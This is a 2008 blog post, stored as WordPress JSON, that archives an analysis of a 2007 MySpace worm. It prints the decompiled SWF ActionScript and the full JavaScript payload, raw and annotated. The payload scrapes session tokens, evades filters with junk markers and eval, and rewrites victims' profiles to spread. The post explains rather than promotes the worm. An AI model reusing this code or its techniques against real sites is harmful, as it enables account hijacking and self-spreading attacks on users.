{"id":124,"date":"2008-01-02T15:02:15","date_gmt":"2008-01-02T19:02:15","guid":{"rendered":"http:\/\/blogs.law.harvard.edu\/zeroday\/2008\/01\/02\/2007-myspace-hack-archive\/"},"modified":"2008-01-02T15:02:15","modified_gmt":"2008-01-02T19:02:15","slug":"2007-myspace-hack-archive","status":"publish","type":"post","link":"https:\/\/archive.blogs.harvard.edu\/zeroday\/2008\/01\/02\/2007-myspace-hack-archive\/","title":{"rendered":"2007 Myspace Hack Archive"},"content":{"rendered":"<p>archived just in case from [http:\/\/kinematictheory.phpnet.us\/]<\/p>\n<p>How the myspace SWF hack worked<\/p>\n<p>First note: I DID NOT MAKE THE HACK. I simply downloaded the .swf&#8217;s, decompiled them, looked at the actionscript, worked out what it did, found the Javascript that it uses, and tidied it up &amp; commented it. I&#8217;ve probably got some bits wrong, feel free to contact me and I&#8217;ll update this page<\/p>\n<p>When you visited an already infected page, there was an SWF embedded (&#8220;redirect.swf&#8221;) which contained the actionscript:<\/p>\n<p>    getURL(&#8220;http:\/\/editprofile.myspace.com\/index.cfm?fuseaction=blog.view&amp;friendID=93634373&amp;blogID=144877075&#8221;, &#8220;_self&#8221;);<\/p>\n<p>Which is pretty self explanatory &#8211; it opened the blog URL which you got redirected to.<\/p>\n<p>On the blog url which you got redirected to, there was another SWF embedded, called &#8220;retrievecookie.swf&#8221;. This contained:<\/p>\n<p><code><br \/>\n    getURL(\"javas\\n\\rcript: var x = new ActiveXObject(\\'Msxml2.XMLHTTP\\');x.open(\\'GET\\',\\'http:\/\/editprofile.myspace.com\/index.cfm?fuseaction=user.HomeComments&amp;friendID=93634373\\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\\'BX-\\')+3,pg.indexOf(\\'-EX\\'));while((sc.indexOf(\\'<br \/>\\')!=-1)||(sc.indexOf(\\'-XXX\\')!=-1)){var n=sc.indexOf(\\'<br \/>\\');if(n==-1)n=sc.indexOf(\\'-XXX\\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};\" + \"eval(sc);}};\" + \"x.send(null);\", \"\");<br \/>\n<\/code><\/p>\n<p>Which looks pretty obfuscated, however, when you space it out and add comments:<\/p>\n<p><code><\/p>\n<p>    getURL(\"<br \/>\n    javas\\n\\r<br \/>\n    cript:<br \/>\n    \/\/this translates in the browser to: \"javascript:\"<br \/>\n    \/\/which myspace really should have blocked now.<br \/>\n    var x = new ActiveXObject(\\'Msxml2.XMLHTTP\\');<br \/>\n    \/\/ loads a new xmlHTTP object, sets it as var \"x\"<br \/>\n    x.open(\\'GET\\',\\'http:\/\/editprofile.myspace.com\/index.cfm?fuseaction=user.HomeComments&amp;friendID=93634373\\',true);<br \/>\n    \/\/ This opens yet another blog post, at the URL above. The text of the URL is below<br \/>\n    x.onreadystatechange = function()<br \/>\n    \/\/ when the readystate of the xmlHTTP object changes:<br \/>\n         {<br \/>\n         if (x.readyState==4)<br \/>\n              \/\/ once the state changes to complete (it goes from 0 to 4, iirc)<br \/>\n              {<br \/>\n                   var pg = x.responseText;<br \/>\n                   \/\/ the code it got from the page<br \/>\n                   var sc = pg.substring(pg.indexOf(\\'BX-\\')+3,pg.indexOf(\\'-EX\\'));<br \/>\n                   \/\/ loads into \"sc\" the contents of the response text from the place where<br \/>\n                   \/\/ the end of \"BX-\" (that's the +3) is first encountered up until it finds the start of<br \/>\n                   \/\/ \"-EX\", this is all the nasty JS.<br \/>\n                   while ( (sc.indexOf(\\'<br \/>\\')!=-1) || (sc.indexOf(\\'-XXX\\')!=-1) )<br \/>\n                   \/\/ while \"sc\" (the code) doesn't contain \"<br \/>\" or \"-XXX\" then:<br \/>\n                        {<br \/>\n                             var n=sc.indexOf(\\'<br \/>\\');<br \/>\n                             \/\/ n is the start of where it finds \"<br \/>\" in \"sc\"<br \/>\n                             if (n==-1)<br \/>\n                                  n=sc.indexOf(\\'-XXX\\');<br \/>\n                             \/\/ if it cant find \"<br \/>, then make n where it can find \"-XXX\"<\/p>\n<p>                             \/\/ thist bit next was really quite clever, it manages to keep the &gt; closing bracket for<br \/>\n                             \/\/ the embed tag, which it needs, and creates the embed tag by removing<br \/>\n                             \/\/ XXX's and leaving the final character!<br \/>\n                             sc = sc.substring(0,n)+sc.substring(n+5,sc.length);<br \/>\n                             \/\/ sc is now from the start, to n.<br \/>\n                             \/\/ then add on to sc the bit from n+5 to the end of sc,<br \/>\n                             \/\/ essentially, this cuts out the crap from the blog post it pull.<br \/>\n                             \/\/ the crap was in there in the first place to get past myspace's filters, I presume.<br \/>\n                        };<br \/>\n                        \/\/ this iterates through and removes the -XXX's from the blog post<br \/>\n                   \" + \"eval(sc);<br \/>\n                   \/\/ evaluate \"sc\" - this is what does it all.<br \/>\n              } \/\/ end of readystate==4 \"if\"<br \/>\n         }; \/\/end of function<br \/>\n    \" \/\/closing the quote from the SWF getURL() function<br \/>\n    +<br \/>\n    \"<br \/>\n    x.send(null);<br \/>\n    \/\/ adds on sending \"null\" to the xmlHTTP object.<br \/>\n    \", \"\"<br \/>\n    \/\/ no target, so it just executes.<br \/>\n    );\/\/ end of SWF getURL function.<br \/>\n<\/code><\/p>\n<p>In essence, it pulls a blog post from somewhere else on myspace, and evaluates the code that it contains.<\/p>\n<p>This is the post:<\/p>\n<p><code><br \/>\n    BX-var msg='-XXXX<br \/>\n    XE-XXXXM-XXXXB-XXXXE-XXXXD-XXXX src=\"http:\/\/i105.photobucket.com\/albums\/m225\/yrkblack\/redirect.swf\"&gt;BY SPAIRLKAIFS';function paramsToString(AV){ var N=new String(); var O=0; for(var P in AV){if(O&gt;0){N+='&amp;'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){ Q=Q.replace('+', '%2B')}while(Q.indexOf('&amp;')!=-1){ Q=Q.replace('&amp;', '%26')}N+=P+'='+Q;O++ } return N};function getToken(page){ var start = page.indexOf('Mytoken='); token = page.substring(start+8, start+8+36); return token;};function getHashCode(page){ var start = page.indexOf('name=\"hash\" value=\"'); hash = page.substring(start+19, start+19+216); return hash;};var xmlht-XXXXtp = x;var post = new Array();post['submit']='Preview';post['interest']=msg;post['interestLabel']='aboutme';var postsz = paramsToString(post); var token = getToken(xmlhttp.responseText);xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http:\/\/editprofile.myspace.com\/index.cfm?fuseaction=profile.previewInterests&amp;Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application\/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);ev-XXXXal('xmlhttp.onreadys-XXXXtatechange=editReady;');xmlhttp.send(postsz);function editReady(){if (xmlhttp.readyState==4){post = new Array();post['submit']='Submit';post['hash']=getHashCode(xmlhttp.responseText);post['interest']=msg;post['interestLabel']='aboutme';postsz = paramsToString(post); token = getToken(xmlhttp.responseText); xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');xmlhttp.open('POST', 'http:\/\/editprofile.myspace.com\/\/index.cfm?fuseaction=profile.processInterests&amp;Mytoken='+token, true);xmlhttp.setRequestHeader('Content-Type', 'application\/x-www-form-urlencoded');xmlhttp.setRequestHeader('Content-Length', postsz.length);xmlhttp.send(postsz);}};-EX<br \/>\n<\/code><\/p>\n<p>Tidied up (and -XXX&#8217;s, etc) removed + commented:<\/p>\n<p><code><br \/>\n    var msg='&lt;EMBED src=\"http:\/\/i105.photobucket.com\/albums\/m225\/yrkblack\/redirect.swf\"&gt;BY SPAIRLKAIFS';<br \/>\n    \/\/ the message itself.<br \/>\n    function paramsToString (AV)<br \/>\n    {<br \/>\n         var N=new String();<br \/>\n         var O=0;<br \/>\n         for (var P in AV)<br \/>\n            {<br \/>\n                if (O&gt;0)<br \/>\n                    {<br \/>\n                          N+='&amp;'<br \/>\n                                          \/\/ if it's not the first iteration, add \"&amp;\" to the value, as to seperate the values.<br \/>\n                    }<\/p>\n<p>                var Q=escape(AV[P]);<\/p>\n<p>                while (Q.indexOf('+')!=-1)<br \/>\n                    {<br \/>\n                          Q=Q.replace('+', '%2B')<br \/>\n                                           \/\/replaec \"+\" with \"%2B\" - url encoding basically<br \/>\n                    }<br \/>\n                while (Q.indexOf('&amp;')!=-1)<br \/>\n                    {<br \/>\n                          Q=Q.replace('&amp;', '%26')<br \/>\n                                           \/\/ same again, except for \"&amp;\".<br \/>\n                    }<br \/>\n                N+= P + '=' + Q;<br \/>\n                O++<br \/>\n            }<br \/>\n         return N<br \/>\n    };<br \/>\n    \/\/ this turns a list of parameters in an array into a URL encoding string.<\/p>\n<p>    function getToken (page)<br \/>\n    {<br \/>\n         var start = page.indexOf('Mytoken=');<br \/>\n         token = page.substring(start+8, start+8+36);<br \/>\n         return token;<br \/>\n    };<br \/>\n    \/\/ gets your token, since you're on myspace already, your token is (unfortunately) in the URL.. oops.<\/p>\n<p>    function getHashCode (page)<br \/>\n    {<br \/>\n         var start = page.indexOf('name=\"hash\" value=\"');<br \/>\n         hash = page.substring(start+19, start+19+216);<br \/>\n         return hash;<br \/>\n    };<br \/>\n    \/\/ gets your hash code, which is supposed to be a security measure<br \/>\n    \/\/ again, since you're on myspace.com - it's in the URL. Nice one myspace.<\/p>\n<p>    var xmlhttp = x;<br \/>\n    var post = new Array();<br \/>\n    post['submit']='Preview';<br \/>\n    post['interest']=msg;<br \/>\n    post['interestLabel']='aboutme';<br \/>\n    \/\/ loads the payload (the \"msg\" var), and other bits into an array called \"post\"<br \/>\n    var postsz = paramsToString(post);<br \/>\n    \/\/ from the functione arlier, turns the \"post\" array into a string.<br \/>\n    var token = getToken(xmlhttp.responseText);<br \/>\n    \/\/ gets your token<br \/>\n    xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');<br \/>\n    \/\/ new xmlHTTp object.<br \/>\n    xmlhttp.open('POST', 'http:\/\/editprofile.myspace.com\/index.cfm?fuseaction=profile.previewInterests&amp;Mytoken='+token,true);<br \/>\n    \/\/ opens the profile interest modifcation .. bit through a xmlHTTP object.<\/p>\n<p>    xmlhttp.setRequestHeader('Content-Type', 'application\/x-www-form-urlencoded');<br \/>\n    \/\/ sends a HTTP header, which is that it's about to send a url encoded form.<br \/>\n    xmlhttp.setRequestHeader('Content-Length', postsz.length);<br \/>\n    eval('xmlhttp.onreadystatechange=editReady;');<br \/>\n    \/\/ evaluates the function below when the readystate changes.<br \/>\n    xmlhttp.send(postsz);<br \/>\n    \/\/ sends it - which modifies your profile to include the contents of the msg var<br \/>\n    function editReady()<br \/>\n    {<br \/>\n         if (xmlhttp.readyState==4)<br \/>\n         {<br \/>\n              post = new Array();<br \/>\n              post['submit']='Submit';<br \/>\n              post['hash']=getHashCode(xmlhttp.responseText);<br \/>\n              post['interest']=msg;<br \/>\n              post['interestLabel']='aboutme';<br \/>\n              postsz = paramsToString(post);<br \/>\n              token = getToken(xmlhttp.responseText);<br \/>\n              xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');<br \/>\n              xmlhttp.open('POST','http:\/\/editprofile.myspace.com\/\/index.cfm?fuseaction=profile.processInterests&amp;Mytoken='+token,true);           xmlhttp.setRequestHeader('Content-Type', 'application\/x-www-form-urlencoded');<br \/>\n              xmlhttp.setRequestHeader('Content-Length', postsz.length);<br \/>\n              xmlhttp.send(postsz);<br \/>\n         }<br \/>\n    };<\/p>\n<p><\/code><\/p>\n<p>Which is then all evaluated by the first load of JS.<\/p>\n<p>So there you have it.<\/p>\n<p>Email me if you like: <\/p>\n<p>PS: To the author, that&#8217;s some clever code, nice one &#8211; I probably shouldn&#8217;t be congratulating you, but hey.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>archived just in case from [http:\/\/kinematictheory.phpnet.us\/] How the myspace SWF hack worked First note: I DID NOT MAKE THE HACK. I simply downloaded the .swf&#8217;s, decompiled them, looked at the actionscript, worked out what it did, found the Javascript that it uses, and tidied it up &amp; commented it. I&#8217;ve probably got some bits wrong, [&hellip;]<\/p>\n","protected":false},"author":214,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[272],"tags":[],"class_list":["post-124","post","type-post","status-publish","format-standard","hentry","category-digital-warfare"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/124","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/users\/214"}],"replies":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/comments?post=124"}],"version-history":[{"count":0,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/124\/revisions"}],"wp:attachment":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/media?parent=124"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/categories?post=124"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/tags?post=124"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}